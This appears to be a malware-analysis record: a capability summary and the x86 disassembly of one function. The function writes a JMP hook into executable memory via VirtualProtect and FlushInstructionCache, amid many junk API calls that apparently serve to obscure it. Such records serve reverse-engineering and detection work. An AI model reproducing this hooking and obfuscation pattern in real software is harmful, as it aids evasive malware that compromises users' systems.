Function at 0x40406a
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
sub eax, esi
xor ebx, ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
sub eax, 5
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
mov byte [ebp - 8], 0xe9
mov dword [ebp - 7], eax
call edi
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 1
call dword [sym.imp.USER32.dll_GetSysColor]
push 0x3bbe
call dword [sym.imp.USER32.dll_GetSysColorBrush]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
call dword [sym.imp.USER32.dll_GetFocus]
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexW]
push 0xffffffffffffffff
push ebx
push 1
push 0x1f0001
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push eax
call ebx
call dword [sym.imp.KERNEL32.dll_GetVersion]
push 0x64
push 0
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
push eax
call ebx
push 0x13
call dword [sym.imp.USER32.dll_GetSystemMetrics]
lea ecx, [ebp + 0xc]
push ecx
push 0x40
push 8
push esi
mov dword [ebp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x404252
push 0
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call dword [sym.imp.USER32.dll_GetCursor]
push 8
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
push 0
push 0
push 1
call edi
push 5
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.GDI32.dll_GetStockObject]
mov ebx, esi
call fcn.00406eba
lea eax, [ebp - 8]
sub eax, esi
mov dword [ebp + 8], eax
jmp 0x404185
mov eax, dword [ebp + 8]
mov edx, dword [eax + ebx]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
add ebx, 4
call fcn.004071cd
lea eax, [esi + 4]
cmp ebx, eax
jbe 0x404182
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
call ebx
neg eax
sbb eax, eax
neg eax
push eax
push 1
call edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
call ebx
push 0
push 0
push 0x1f0001
call edi
push 0
push 0
call ebx
push eax
call edi
push 8
call dword [sym.imp.USER32.dll_GetSystemMetrics]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ecx, dword [ebp + 0xc]
lea eax, [ebp + 0xc]
push eax
push ecx
push 8
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0x64
push 0
push 0
push 1
mov edi, eax
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call dword [sym.imp.KERNEL32.dll_GetVersion]
call dword [sym.imp.USER32.dll_GetCursor]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 8
push esi
push edi
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret